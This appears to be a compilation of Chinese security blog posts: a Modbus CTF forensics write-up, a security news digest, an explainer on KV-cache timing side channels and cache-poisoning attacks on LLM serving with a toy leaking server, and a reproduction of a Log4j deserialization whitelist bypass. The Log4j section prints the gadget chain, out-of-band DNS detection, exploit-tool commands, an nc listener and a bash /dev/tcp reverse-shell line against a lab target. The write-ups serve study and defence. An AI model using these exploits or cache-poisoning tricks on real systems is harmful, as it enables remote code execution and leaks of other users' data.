ModBus协议 ModBus协议是工业自动化领域非常经典的通信协议。虽然诞生于 1979 年，但截至现在仍然大量存在于 PLC、变频器、仪表、传感器、能源设备、楼宇控制和 SCADA 系统中。 Modbus 的基本通信模型 传统 Modbus 通信采用 主从（Master/Slave） 模型，也有client/server的说法。 基本结构如下：       Master（主站）【负责发起请求】             │       ┌──────┼──────┐       │     │     │       ▼     ▼     ▼   Slave 1 Slave 2 Slave 3 【负责响应请求- 每个 Slave 通常具有唯一的设备地址】   从站     从站     从站 主站负责发起通信请求，从站根据请求返回数据。 例如： PLC（主站）   │   │ 读取温度   ▼ 温度仪表（从站）   │   │ 返回 25.6℃   ▼ PLC Modbus 常见的通信方式主要有： Modbus RTU Modbus ASCII Modbus TCP 其中工业现场最常见的是： Modbus RTU 和 Modbus TCP Modbus RTU和Modbus TCP Modbus RTU Modbus RTU 是 Modbus 最常见的串行通信模式之一。 RTU 使用二进制方式传输数据，通常运行在： RS-485 RS-232 等串行通信接口上。 工业现场最常见的组合是： Modbus RTU + RS-485 例如： PLC │ │ RS-485 │ ├───────────────┐ │               │ ▼               ▼ 变频器1         变频器2 Slave 1         Slave 2 RS-485 和 Modbus RTU 的区别 Modbus RTU 是协议通信方式，RS-485 是常用的物理接口 Modbus RTU   ↑ 通信协议 / 数据格式   │   ▼ RS-485   ↑ 物理通信接口 例如： 应用层：   Modbus             │             ▼ 数据格式：   Modbus RTU             │             ▼ 物理层：     RS-485             │             ▼ 通信线路：   A / B Modbus TCP Modbus TCP 是基于以太网和 TCP/IP 协议进行通信的 Modbus 版本。 它通常使用Ethernet, TCP/IP, RJ45 网口, 工业以太网交换机进行通信。 基本结构： PLC │ │ Ethernet ▼ 工业交换机 │ ├──────────────┐ │             │ ▼             ▼ 变频器         远程I/O IP:             IP: 192.168.1.10   192.168.1.20 Modbus TCP 通常使用502作为默认通信端口。 Modbus RTU 与 Modbus TCP 对比 Modbus 数据模型 在Modbus通信中，设备数据被组织在称为寄存器的单元中。client指定目标数据区和地址并发送读写请求。然后，server处理该请求并返回读请求的值或写请求的写确认。 Modbus 主要定义了四种数据类型： 总结如下：               Bit               Word（16 bit）                 │                     │       ┌────────┴────────┐   ┌───────┴────────┐       │                 │   │               │     Coil       Discrete Input Input       Holding     线圈           离散输入     Register     Register       │                 │         │             │     读/写             只读       只读         读/写       │                 │         │             │     控制             状态       测量值       参数/控制 Coil（线圈） Coil 是一种单 bit 数据。 只能表示： 0 = OFF 1 = ON 例如： Coil 00001 = 电机启动 可能定义为： 0 → 电机停止 1 → 电机启动 Discrete Input（离散输入） Discrete Input 也是 bit 类型数据，但通常是只读的。 例如： Discrete Input = 急停状态 可能： 0 → 正常 1 → 急停 Input Register（输入寄存器） Input Register 通常用于存储只读数据。 例如： 30001 = 温度 30002 = 压力 30003 = 电流 例如： 30001 = 256 实际可能代表： 25.6 ℃ 具体缩放方式由设备厂家定义。 Holding Register（保持寄存器） Holding Register 是 Modbus 中非常常用的数据类型。 它通常用于： 参数设置 运行频率 电机转速 温度设定值 启停控制 状态数据 报警代码 例如： 40001 = 运行频率 40002 = 目标频率 40003 = 电机电流 40004 = 电机转速 PLC 可以通过 Modbus 对这些寄存器进行读取或者写入。 Modbus功能码 常见功能码如下： 工业自动化中最常见的功能码之一是： 03：读取 Holding Register 以及： 06 / 10：写入 Holding Register Modbus取证题学习 附件是一个pcap文件，使用wireshark打开，一堆Modbus TCP的流量 Modbus TCP格式如下，它是作为TCP的payload的。因为有tcp的原因因此没有Modbus RTU的CRC校验， 简单来说现在有了一些不同function code的流量，我们先统计所有的function code，使用pyshark库提取 import pyshark # 获取功能码, 统计出现次数 def get_code():    captures = pyshark.FileCapture(r"xxx\Modbus.pcap", tshark_path=r'D:\Wireshark\tshark.exe')    func_codes = {}    for pkt in captures:        if hasattr(pkt, "modbus"):                func_code = int(pkt.modbus.func_code)                if func_code in func_codes:                    func_codes[func_code] += 1                else:                    func_codes[func_code] = 1    print(func_codes) if __name__ == "__main__":    get_code() 结果如下 {1: 702, 3: 702, 4: 702, 2: 702, 16: 2} 这里出现了非常规的16功能码，而且只有2次，很有可能是解题线索 过滤一下这些功能码为16的packet import pyshark # 检查function code的数据 def get_targetcode_data(target_code):    captures = pyshark.FileCapture(r"xxx\Modbus.pcap", tshark_path=r'D:\Wireshark\tshark.exe')    for c in captures:        for pkt in c:            if pkt.layer_name == "modbus":                func_code = int(pkt.func_code)                if func_code == target_code:               print(c)                     if __name__ == "__main__":    get_targetcode_data(16) 两个packet： packet1 Packet (Length: 117) Layer ETH :       Destination: 52:54:00:a4:30:12       Address: 52:54:00:a4:30:12       .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)       .... ...0 .... .... .... .... = IG bit: Individual address (unicast)             Source: 52:54:00:f8:5c:21       .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)       .... ...0 .... .... .... .... = IG bit: Individual address (unicast)             Type: IPv4 (0x0800)       Address: 52:54:00:f8:5c:21 Layer IP :       0100 .... = Version: 4       .... 0101 = Header Length: 20 bytes (5)       Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)       0000 00.. = Differentiated Services Codepoint: Default (0)       .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)       Total Length: 103       Identification: 0x5f09 (24329)       Flags: 0x40, Don't fragment       0... .... = Reserved bit: Not set       .1.. .... = Don't fragment: Set       ..0. .... = More fragments: Not set       ...0 0000 0000 0000 = Fragment Offset: 0       Time to Live: 128       Protocol: TCP (6)       Header Checksum: 0x3f2f [validation disabled]       Header checksum status: Unverified       Source Address: 172.16.3.23       Destination Address: 172.16.1.33 Layer TCP :       Source Port: 1073       Destination Port: 502       Stream index: 2195       Conversation completeness: Incomplete, ESTABLISHED (7)       TCP Segment Len: 63       Sequence Number: 3073843007       Next Sequence Number: 3073843070       Acknowledgment Number: 1687629905       0101 .... = Header Length: 20 bytes (5)       Flags: 0x018 (PSH, ACK)       000. .... .... = Reserved: Not set       ...0 .... .... = Nonce: Not set       .... 0... .... = Congestion Window Reduced (CWR): Not set       .... .0.. .... = ECN-Echo: Not set       .... ..0. .... = Urgent: Not set       .... ...1 .... = Acknowledgment: Set       .... .... 1... = Push: Set       .... .... .0.. = Reset: Not set       .... .... ..0. = Syn: Not set       .... .... ...0 = Fin: Not set       TCP Flags: ·······AP···       Window: 64240       Calculated window size: 64240       Window size scaling factor: -2 (no window scaling used)       Checksum: 0xe950 [unverified]       Checksum Status: Unverified       Urgent Pointer: 0       Timestamps       Time since first frame in this TCP stream: 0.014549000 seconds       Time since previous frame in this TCP stream: 0.007470000 seconds       SEQ/ACK analysis       iRTT: 0.007079000 seconds       Bytes in flight: 63       Bytes sent since last PSH flag: 63       TCP payload (63 bytes)       PDU Size: 63 Layer MBTCP :       Transaction Identifier: 0       Protocol Identifier: 0       Length: 57       Unit Identifier: 1 Layer MODBUS :       .001 0000 = Function Code: Write Multiple Registers (16)       Reference Number: 1       Word Count: 25       Byte Count: 50       Register 1 (UINT16): 84       Register Number: 1       Register Value (UINT16): 84       Register 2 (UINT16): 104       Register 3 (UINT16): 101       Register 4 (UINT16): 77       Register 5 (UINT16): 111       Register 6 (UINT16): 100       Register 7 (UINT16): 98       Register 8 (UINT16): 117       Register 9 (UINT16): 115       Register 10 (UINT16): 80       Register 11 (UINT16): 114       Register 12 (UINT16): 111       Register 13 (UINT16): 116       Register 14 (UINT16): 111       Register 15 (UINT16): 99       Register 16 (UINT16): 111       Register 17 (UINT16): 108       Register 18 (UINT16): 73       Register 19 (UINT16): 115       Register 20 (UINT16): 70       Register 21 (UINT16): 117       Register 22 (UINT16): 110       Register 23 (UINT16): 110       Register 24 (UINT16): 121       Register 25 (UINT16): 33       Register Number: 2       Register Number: 3       Register Number: 4       Register Number: 5       Register Number: 6       Register Number: 7       Register Number: 8       Register Number: 9       Register Number: 10       Register Number: 11       Register Number: 12       Register Number: 13       Register Number: 14       Register Number: 15       Register Number: 16       Register Number: 17       Register Number: 18       Register Number: 19       Register Number: 20       Register Number: 21       Register Number: 22       Register Number: 23       Register Number: 24       Register Number: 25       Register Value (UINT16): 104       Register Value (UINT16): 101       Register Value (UINT16): 77       Register Value (UINT16): 111       Register Value (UINT16): 100       Register Value (UINT16): 98       Register Value (UINT16): 117       Register Value (UINT16): 115       Register Value (UINT16): 80       Register Value (UINT16): 114       Register Value (UINT16): 111       Register Value (UINT16): 116       Register Value (UINT16): 111       Register Value (UINT16): 99       Register Value (UINT16): 111       Register Value (UINT16): 108       Register Value (UINT16): 73       Register Value (UINT16): 115       Register Value (UINT16): 70       Register Value (UINT16): 117       Register Value (UINT16): 110       Register Value (UINT16): 110       Register Value (UINT16): 121       Register Value (UINT16): 33 packet2 Packet (Length: 63) Layer ETH :       Destination: 52:54:00:f8:5c:21       Address: 52:54:00:f8:5c:21       .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)       .... ...0 .... .... .... .... = IG bit: Individual address (unicast)             Source: 52:54:00:a4:30:12       .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)       .... ...0 .... .... .... .... = IG bit: Individual address (unicast)             Type: IPv4 (0x0800)       Address: 52:54:00:a4:30:12 Layer IP :       0100 .... = Version: 4       .... 0101 = Header Length: 20 bytes (5)       Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)       0000 00.. = Differentiated Services Codepoint: Default (0)       .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)       Total Length: 49       Identification: 0x1f67 (8039)       Flags: 0x40, Don't fragment       0... .... = Reserved bit: Not set       .1.. .... = Don't fragment: Set       ..0. .... = More fragments: Not set       ...0 0000 0000 0000 = Fragment Offset: 0       Time to Live: 64       Protocol: TCP (6)       Header Checksum: 0xbf07 [validation disabled]       Header checksum status: Unverified       Source Address: 172.16.1.33       Destination Address: 172.16.3.23 Layer TCP :       Source Port: 502       Destination Port: 1073       Stream index: 2195       Conversation completeness: Incomplete, DATA (15)       TCP Segment Len: 9       Sequence Number: 1687629905       Next Sequence Number: 1687629914       Acknowledgment Number: 3073843070       0101 .... = Header Length: 20 bytes (5)       Flags: 0x018 (PSH, ACK)       000. .... .... = Reserved: Not set       ...0 .... .... = Nonce: Not set       .... 0... .... = Congestion Window Reduced (CWR): Not set       .... .0.. .... = ECN-Echo: Not set       .... ..0. .... = Urgent: Not set       .... ...1 .... = Acknowledgment: Set       .... .... 1... = Push: Set       .... .... .0.. = Reset: Not set       .... .... ..0. = Syn: Not set       .... .... ...0 = Fin: Not set       TCP Flags: ·······AP···       Window: 29200       Calculated window size: 29200       Window size scaling factor: -2 (no window scaling used)       Checksum: 0x6c02 [unverified]       Checksum Status: Unverified       Urgent Pointer: 0       Timestamps       Time since first frame in this TCP stream: 0.016131000 seconds       Time since previous frame in this TCP stream: 0.001000000 seconds       SEQ/ACK analysis       iRTT: 0.007079000 seconds       Bytes in flight: 9       Bytes sent since last PSH flag: 9       TCP payload (9 bytes)       PDU Size: 9 Layer MBTCP :       Transaction Identifier: 0       Protocol Identifier: 0       Length: 3       Unit Identifier: 1 Layer MODBUS :       .001 0000 = Function Code: Write Multiple Registers (16)       Exception Code: Illegal data address (2) 其中注意到packet2报错Exception Code: Illegal data address (2) 我们把packet1的tcp payload给提取出来（tcp payload其实就是modbus tcp的相应数据） import pyshark def get_targetcode_data(target_code):    captures = pyshark.FileCapture(r"xxx\Modbus.pcap", tshark_path=r'D:\Wireshark\tshark.exe')    for c in captures:        for pkt in c:            if pkt.layer_name == "modbus":                func_code = int(pkt.func_code)                if func_code == target_code:                    payload = str(c["TCP"].payload)                    print(parse_payload(payload)) def parse_payload(payload):    data = payload.split(":")    flag = ""    for i in data:        _ord = ord(bytes.fromhex(i))        if (_ord > 0) and (_ord < 128):            flag += (chr(_ord))    return flag if __name__ == "__main__":    get_targetcode_data(16) 在register之间采用\x00字节隔断 具体打印就是flag：TheModbusProtocolIsFunny!

1、微软9月补丁修复974个漏洞，包括两个已遭利用的零日漏洞 https://www.securityweek.com/microsoft-patches-record-974-vulnerabilities-including-two-exploited-zero-days/ 微软发布9月安全更新，修复创纪录的974个漏洞，其中包括两个已被攻击者利用的权限提升漏洞，以及20个存在潜在蠕虫传播风险的漏洞。企业应优先部署涉及域控、终端和办公软件的安全更新。 2、攻击者利用被篡改的ScreenConnect客户端传播恶意软件 https://www.securityweek.com/modified-screenconnect-clients-used-in-worm-like-campaign/ 攻击者通过被植入后门的ScreenConnect实例，向新连接的客户端传输并执行恶意载荷，形成类似蠕虫的传播活动。使用该远程管理工具的组织应核验安装包来源、检查客户端完整性并限制管理端口暴露。 3、恶意提示词可劫持AI代理并诱导其执行危险操作 https://www.securityweek.com/the-hidden-instructions-that-can-hijack-ai-agents/ 研究人员警告，隐藏在文档、元数据、邮件、图像和源代码中的恶意指令，可能操纵具备自主执行能力的AI代理。企业在部署AI代理时，应对外部内容进行隔离，限制工具权限，并对高风险操作增加人工确认。 4、SAP修复可远程执行任意命令的关键漏洞 https://www.securityweek.com/sap-patches-critical-extended-passport-processing-vulnerability/ SAP修复影响SAP内核代码的关键漏洞。未经身份验证的远程攻击者可能利用该问题执行任意命令、获取敏感信息并篡改数据，使用相关SAP内核版本的企业应尽快完成升级。 5、F5 BIG-IP APM遭新型Linux Rootkit攻击 https://www.bleepingcomputer.com/news/security/hackers-breach-f5-big-ip-apm-devices-to-deploy-linux-rootkit Sophos披露针对 F5 BIG-IP APM 的新型Linux Rootkit攻击。恶意程序不会简单把WebShell写到硬盘，而是在Apache运行过程中直接修改内存里的PHP代码，把后门“藏”进合法页面，因此磁盘上的文件看起来仍然正常。研究人员认为该恶意程序可能是在攻击者利用此前的CVE-2025-53521后部署的第二阶段载荷。Shadowserver近期仍追踪到约79 6、越南关联航空系统暴露2.2亿条旅客记录，包括护照和航班信息 https://www.bleepingcomputer.com/news/security/220-million-traveler-records-exposed-in-vietnam-linked-apis-leak/ 研究人员发现一个疑似与越南机构有关的 APIS航空旅客信息数据库 曾可通过错误配置访问，其中包含约 2.207亿条乘客和机组人员记录。泄露信息包括姓名、出生日期、国籍、护照号码、证件有效期、航班、座位、机场以及行李信息，时间跨度从2017年至2026年。需要注意的是，2.2亿代表的是“旅行记录数量”，并不意味着有2.2亿名不同的人受到影响。研究人员表示，目前无法确认是否 7、DoppelCart曝光：11.9万个假购物网站专门窃取银行卡信息 https://www.bleepingcomputer.com/news/security/doppelcart-fraud-network-uses-119-000-fake-shops-to-steal-credit-cards 安全研究人员发现一个名为 DoppelCart 的大型网络诈骗基础设施，共涉及超过 11.9万个假电商域名，其中超过10.5万个目前仍处于活动状态。这些网站会完整复制真实品牌的商品图片、介绍和Logo，再用最高65%的折扣吸引消费者付款。结账时，它们会实时窃取银行卡号、有效期、安全码、姓名、地址，甚至银行发送的一次性验证码。研究人员称这是目前公开记录中规模最大 8、柏林州政府遭Rhysida勒索软件攻击，近6TB数据泄露 http://cn-sec.com/archives/5422942.html 柏林州政府遭Rhysida勒索软件攻击，近6TB数据被泄露，约144万个文件。泄露数据包含国家机密、CBRN（化学、生物、放射性及核威胁）计划、政府人事档案、纪律处分程序及供水系统漏洞分析等敏感信息。官方拒绝支付30比特币赎金后，Rhysida将数据公开泄露。攻击最早可追溯至8月7日，黑客通过虚假Cloudflare验证码实施入侵。事件已从数据勒索升级为国家安全隐患。 9、比特币侧链Liquid Network遭攻击，约4000枚比特币被盗 https://wwwhk.aastocks.com/tc/stocks/news/aafn-con/NOW.1543192/latest-news/AAFN 多家加密货币交易所使用的比特币侧链Liquid Network于9月6日遭黑客攻击，Liquid Federation钱包中约4000枚比特币（约合3.2亿美元）被盗。攻击者自称白帽黑客。Liquid Network已暂停所有新交易。9月8日，攻击者在漏洞修复后归还了3400枚比特币。 10、韩国HYBE旗下Weverse平台42万用户信息遭泄露 https://cb.yna.co.kr/gate/big5/m-cn.yna.co.kr/view/ACK20260907001200881 经纪公司HYBE旗下粉丝社区平台Weverse于9月6日发布公告，确认42.2584万个用户账号的个人信息遭泄露。公司接到关于平台服务安全漏洞的外部举报后检查确认了此次泄露。泄露信息主要为平台内部识别码，同时支付手段、支付网关平台名称、交易金额等交易相关信息也遭外泄。公司表示已依法通知受害用户，并将对外部API进行全面调查。 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

0.前言 最近接触到了新的AI攻击概念，打算从这方面入手学习一下 1.KV cache KV Cache可以理解成，LLM 在逐字生成时，把前面所有 token 已经算好的注意力素材存放起来 后面直接复用，避免反复计算 我们知道在transformer中有Q,K,V这三个，对应的公式大概如下 这里我们用通俗的语言形容就是，Q是指我现在在想什么，K是说每个历史的token应该怎么被检索到，而V就是找到之后，真正可以提取出来的信息 我们举个例子来说，比如说 苹果公司要发布一部新的手机，那么它的名字是.... 生成下一个词的时候，当前 token 的 Q 可能在问，上下文提到手机名字会是啥？ 然后拿 Q 和历史所有 K 比较，找到相关位置，再读取对应的 V 有了KV cache就可以减少AI很多工作量，比如说我们举个例子 假设已经生成，我 今天 回 学校，现在要生成第 5 个 token 如果没有 KV Cache，模型每生成一次，都可能重新计算： 第1步，我->算KV 第2步，我，今天-->算我，今天的KV 第3步，我，今天，回-->算我，今天，回的KV 第4步，我，今天，回，学校--->算我，今天，回，学校的KV 这里大量工作是重复的，因为对于一个固定的历史 token，比如我，在同一层 Transformer 中，可能就是K我，V我 之前就已经算出来，所以其实是不会有太大的改变的 所以可以第一次算完以后直接保存的 生成下一个 token 时，只需要计算当前新 token的，比如说Q5,K5,V5之类的 然后把新的K5,V5都放到缓存中去，就大概类似这样 然后再去读取相应一连串的V值 那么这里我们可能会注意到一个问题，为什么Q值不需要缓存呢？ 因为生成第 t个 token 时，当前 token 的 Q 只在当前这一步使用，而历史 token 的 Q 后面基本用不到，但历史 token 的 K、V 每生成一个新 token 都要被访问 也就是说：历史 Q用完即丢，历史 K,V之后还要用 所以只缓存K 和 V KV Cache一般来说不是整个模型只存一份 Transformer 有很多层，比如 32 层，那么每一层注意力机制都有自己的 KV Cache，可以画个简略图 大致结构是： Layer 1:   K cache   V cache Layer 2:   K cache   V cache Layer 3:   K cache   V cache ... Layer 32:   K cache   V cache 而且每一个历史 token 都要存 这也解释了为什么上下文很吃显存，因为token越多，KV cache越大 1K context ████ 4K context ████████████████ 32K context ████████████████████████████████... 128K context 巨量 KV Cache 模型参数大小通常是固定的，但KV Cache 会随着上下文长度线性增长 我们日常在使用大模型进行相应的推理的时候，实际上是分为两阶段，分别是Prefill即输入预填充，Decode逐token生成 Prefill，模型处理全部输入token，计算每一层的中间表示以及注意力所需的Key/Value状态 比如说输入了一段 1000 token 的 prompt，Prefill 阶段会一次性处理这 1000 token，并生成： K1,V1 K2,V2 ... K1000,V1000 并且把它们全部放进 KV Cache Decode模型逐步生成输出token，并复用此前已经计算的注意力状态 生成第 1001 个 token，只计算新token的Q,K,V，也就是对应的Q1001和历史的K1~K1001，用来做新的注意力，从而生成了1001token，再把K1001和V1001加 入到cache中，过程类似下面这张图 一句话来说就是输入Prompt，到Prefill（处理输入并建立注意力状态），再Decode（逐 token 生成输出） 总之，KV Cache = 缓存历史 token 的 Key 和 Value，让下一个 token 做 Attention 时直接查历史，而不用重新计算整个上下文 2.KV cache攻击 kv cache攻击一句话解释就是攻击者通过缓存命中造成的响应延迟差异，推断其他用户是否处理过某段敏感前缀，从而泄露请求存在性或内容特征 假设服务器上刚刚有用户 A 发过，我的银行卡密码是 123456 为了提高吞吐量，推理服务器可能不仅在 A 当前的生成过程中保存 KV，还启用了prefix caching也就是前缀缓存： "我的银行卡密码是 123456"--->对应的KV 缓存，供之后相同 prefix 的请求复用 然后攻击者 B 和 A 恰好使用同一个多租户推理后端，B 猜：我的银行卡密码是 111111 缓存没命中，需要重新 prefill，而这时的耗时是会比较较长的 所以可以再猜，我的银行卡密码是 123456 如果命中已经存在的 prefix cache，不用重新算这部分，Time To First Token 明显变短 于是攻击者虽然，一没看不到 KV ，二看不到别人的 prompt，三也没有 GPU 权限，但却能通过响应时间来猜测内容，这就是这就是经典的 timing side channel 前缀缓存计时侧信道，vLLM 的安全公告就披露过这种情况：当匹配前缀达到一定长度后，cache hit 和 miss 的 时间差异可以非常明显； 说白了倒是有点像web里面的SQL时间盲注了 最近还有一种更有意思的KV cache攻击，KV Cache Hijacking https://arxiv.org/pdf/2607.19957 和偷数据不同的方向，不是读取别人的 KV，而是污染一个可能被别人复用的 KV 2026 USENIX Security 的 HijackKV 研究了 position-independent KV reuse 带来的问题，某些优化允许： 只要某段文本相同，即使它出现在不同位置，也尽量复用 KV 但是问题在于KVi，并不单纯只编码当前这个 token，它还受到之前上下文的影响 举个例子，攻击者请求一个，[恶意上下文] + "Summarize the document" 而"Summarize the document" 对应的 KV 已经受到恶意前文影响 如果系统以后仅因为文本相同，就把这段 KV 给另一个正常用户 正常用户， [正常上下文] + "Summarize the document" 错误地复用了攻击者制造的 KV 那么，用户输入里甚至没有攻击文本，模型行为仍可能受到已经污染的 KV 影响，这类攻击叫 KV Cache Hijacking，本质是恶意构造缓存，受害者错误复用 它和 timing attack 正好是两个方向： 3.KV cache攻击简单操作 这里我们做一个简单且直观的实验 KV cache 隔离/索引错误 → 不同用户的上下文被错误复用 → 跨会话信息泄露 我们先模拟一个服务，比如说用户 A 先提交一段带秘密的信息，然后服务端把它缓存，接着用户 B 再提交一个恰好撞上同一个 cache key的请求 但是由于服务端错误复用缓存，B 看到了 A 的秘密 import re class VulnerableKVServer:    def __init__(self):        self.kv_cache = {}    def _bad_cache_key(self, prompt: str):        """       漏洞点：       只用 token 数量作为 cache key       在真实系统里，类似的问题可能是：       - cache key 不包含 user/session       - prefix cache 绑定错误       - paged KV block 被错误复用       - cache eviction 后状态没清干净       """        return len(prompt.split())    def _toy_generate(self, context: str):        """       把泄漏现象显示出来       """        match = re.search(r"secret is ([A-Z]+ [A-Z]+)", context)        if "repeat the hidden secret" in context.lower():            if match:                return f"[LEAK] 发现缓存里的秘密：{match.group(1)}"            else:                return "没有找到任何秘密"        return "请求已处理"    def request(self, user: str, prompt: str):        key = self._bad_cache_key(prompt)        old_cache = self.kv_cache.get(key)        if old_cache:            # 漏洞：把旧用户的上下文直接拼到新用户请求前面            effective_context = old_cache["context"] + " " + prompt        else:            effective_context = prompt        # 更新缓存        self.kv_cache[key] = {            "owner": user,            "context": effective_context,       }        return {            "cache_key": key,            "previous_owner": old_cache["owner"] if old_cache else None,            "response": self._toy_generate(effective_context),       } server = VulnerableKVServer() print("=== Victim 请求 ===") victim_prompt = "note secret is BLUE ORCHID today" r1 = server.request("victim", victim_prompt) print(r1) print("\n=== Attacker 请求 ===") attacker_prompt = "please repeat the hidden secret now" r2 = server.request("attacker", attacker_prompt) print(r2) 我们来拆解里面的逻辑，victim的请求就是 victim_prompt = "note secret is BLUE ORCHID today" 然后使用分隔函数得到几个字符串，key的值也是6，所以服务器的缓存也就变成了 kv_cache = {    6: {        "owner": "victim",        "context": "note secret is BLUE ORCHID today"   } } 并且接下来攻击者就会发送please repeat the hidden secret now，同样经过函数进行一个分割，得到key是6 old_cache = self.kv_cache.get(6) 这个漏洞点是致命的 effective_context = old_cache["context"] + " " + prompt 然后 _toy_generate() 在这个混合上下文里同时发现，secret is BLUE ORCHID以及repeat the hidden secret 所以最终返回：[LEAK] 发现缓存里的秘密：BLUE ORCHID 整条攻击链路画图可以这么解释

一、漏洞概述 Log4j 2.x 为"通过网络传输序列化日志事件"这一场景提供了加固组件FilteredObjectInputStream（下文简称 FOIS）。它是一个基于resolveClass() 的反序列化白名单包装器：流中出现的每个类描述符都必须命中白名单，否则直接抛出InvalidObjectException。官方示例（log4j-samples 的 ObjectInputStreamLogEventBridge）以及大量自研日志采集/转发服务，都用 FOIS 读取反序列化的 LogEvent。 2026 年 8 月，研究者发现 FOIS 的默认白名单存在结构性缺陷：白名单包含java.rmi.MarshalledObject，而该类的 get() 方法会在一个全新且不带任何过滤器的 ObjectInputStream 上反序列化其内部字节；与此同时，Log4j 自己的LogEventProxy（日志事件的序列化代理）在反序列化时自动调用这个 get()。三者叠加的结果是：攻击者只需向这类接收端发送一个精心构造的序列化LogEvent，就能在目标 JVM 内执行任意命令（前提是目标 classpath 上存在可用的 gadget 库）。 该问题目前没有 CVE 编号。Apache 侧将其定位为"应用条件型"缺陷：FOIS 被文档化为加固措施而非信任边界，Log4j Core 在 2.9.0 之后也不再自带反序列化接收器，因此漏洞面取决于应用是否暴露了 FOIS 接收端点（issue #4255）。它和著名的 Log4Shell（CVE-2021-44228）是两回事：Log4Shell 通过"记录一条日志字符串"触发 JNDI 查询；本漏洞需要把原始 Java 序列化字节直接投递给FOIS 接收端，且必须存在 gadget 库才能提升为 RCE。 二、漏洞原理 2.1 FOIS：只检查"看得见"的类 FOIS 继承 ObjectInputStream，仅重写 resolveClass()。流中每个类描述符都要过一遍默认白名单 SerializationUtil.REQUIRED_JAVA_CLASSES：log4j自身包、java.lang.*、java.util.*、java.math.BigDecimal/BigInteger，以及问题点 java.rmi.MarshalledObject。 // log4j-api 2.24.3, SerializationUtil public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(        "java.math.BigDecimal",        "java.math.BigInteger",        "java.rmi.MarshalledObject",   // ← 问题点       ...); // FilteredObjectInputStream @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {    String name = SerializationUtil.stripArray(desc.getName());    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {        throw new InvalidObjectException(                "Class is not allowed for deserialization: " + name);   }    return super.resolveClass(desc); } 关键局限：resolveClass() 只能看到流里出现的类描述符。如果一个类把内容藏在"不透明字节数组"里，过滤就对它内部完全失效。 2.2 MarshalledObject：白名单里的"黑箱" java.rmi.MarshalledObject 的用途是把对象序列化后以不透明字节存储（RMI 传输场景）。它有 hash、locBytes、objBytes 三个字段，其中objBytes 就是一段完整的序列化流。FOIS 只能看到类名 MarshalledObject和 byte[] 字段描述符，objBytes 里是什么类一概看不见。而 get() 的实现是： public T get() throws ... {   ...    ObjectInputStream ois = new ObjectInputStream(bi);   // 全新流，无过滤器    return (T) ois.readObject(); } 也就是说：任何塞进 objBytes 的对象图，都会在一个完全无过滤的流里被反序列化。 2.3 LogEventProxy：Log4j 自带的触发器 Log4j 2.8 起，LogEvent 序列化时通过 writeReplace() 变为Log4jLogEvent$LogEventProxy，其 marshalledMessage 字段正是一个MarshalledObject<Message>。反序列化时： // Log4jLogEvent$LogEventProxy private Message message() {    if (marshalledMessage != null) {        try {            return marshalledMessage.get();   // 无过滤反序列化       } catch (final Exception ex) {            // ignore me —— 吞掉一切异常       }   }    return new SimpleMessage(messageString); } readResolve() 会调用 message()。因此接收端只需要执行FOIS.readObject() 一个动作，内层 gadget 就会被 Log4j 自己的代码自动触发；即使内层反序列化抛出异常，也会被吞掉并回退到 SimpleMessage——利用是"静默"的，接收端日志照常、业务响应照常。 2.4 攻击链总览 攻击者负载（AC ED 00 05 ...） └─ LogEventProxy                       FOIS 放行（log4j 包）   └─ MarshalledObject                 FOIS 放行（白名单类）     └─ objBytes: byte[]               FOIS 放行（原语数组，内容不透明）         └─ 任意 gadget（CC6 / URLDNS / 其他）             由 MarshalledObject.get() 在无过滤流中反序列化             HashSet.readObject             └─ TiedMapEntry.hashCode                 └─ LazyMap.get                   └─ ChainedTransformer                       └─ InvokerTransformer                         └─ Runtime.exec(cmd) 利用是否成立取决于两层：一是绕过本身（与 log4j 版本强相关），二是内层gadget（与 classpath 上的库强相关）。两者相互独立。 三、攻击复现 以下复现使用的 LogRelay 靶场（靶场地址见文末。logrelay-ctf）：服务端为Log4j 2.24.3 + commons-collections 3.2.1 的 JDK 21 容器，暴露 TCP 5514采集端口与 HTTP 8081 状态端口；攻击端为纯 Python 手写 Java 序列化字节，无 JVM、无 ysoserial 依赖。 3.1 协议与侦察 采集端口使用自定义分帧协议 LG01： 4 字节魔数 "LG01" | 1 字节版本 0x01 | 4 字节大端长度 N | N 字节负载 负载 = 一个 Java 序列化对象流。服务端每收到一帧，就用 FOIS 读取并尝试还原为 LogEvent。GET /health 返回frames/accepted/rejected 计数，是观察"静默成功"的窗口。 3.2 检测：URLDNS URLDNS 是纯 JDK 链（HashMap → java.net.URL），目标不需要任何 gadget 库。把它塞进信封发送后，反序列化会触发一次对攻击者可控域名的 DNS 查询，用OOB/DNSLog 平台(dnslog.cn 或 interactsh)即可确认"内层流确实无过滤"： python3 tools/logrelay.py detect -t 127.0.0.1 -p 5514 --oob YOUR-ID.oast.pro 3.3 RCE：CC6 CC6 链（CommonsCollections6）需要目标 classpath 上有 commons-collections3.2.1 及更早版本。构造要点有三： 外层信封固定为 LogEventProxy → MarshalledObject → objBytes，内层塞入CC6 的序列化字节； 链的触发点在 HashSet.readObject()：TiedMapEntry.hashCode() →LazyMap.get() → ChainedTransformer → 三个 InvokerTransformer 反射调用 Runtime.getRuntime().exec(cmd)； 字节级细节（本地用 JDK 生成参考流逐一核对过）：invoke 的第二个参数类型必须是 Object[].class 而非 Class[].class；exec 的 iArgs必须是"包了一层 String[] 的 Object[]"。 命令执行： python3 tools/logrelay.py rce -t 127.0.0.1 -p 5514 -c "touch /tmp/PWNED" 反弹 shell（注意 Ubuntu 的 /bin/sh 是 dash，不识别 /dev/tcp 虚拟路径，必须用 bash -c 'bash -i >& /dev/tcp/H/P 0>&1' 让 bash 解析整段命令）： # 终端 1 nc -lvnp 4444 # 终端 2 python3 tools/logrelay.py rce -t 127.0.0.1 -p 5514 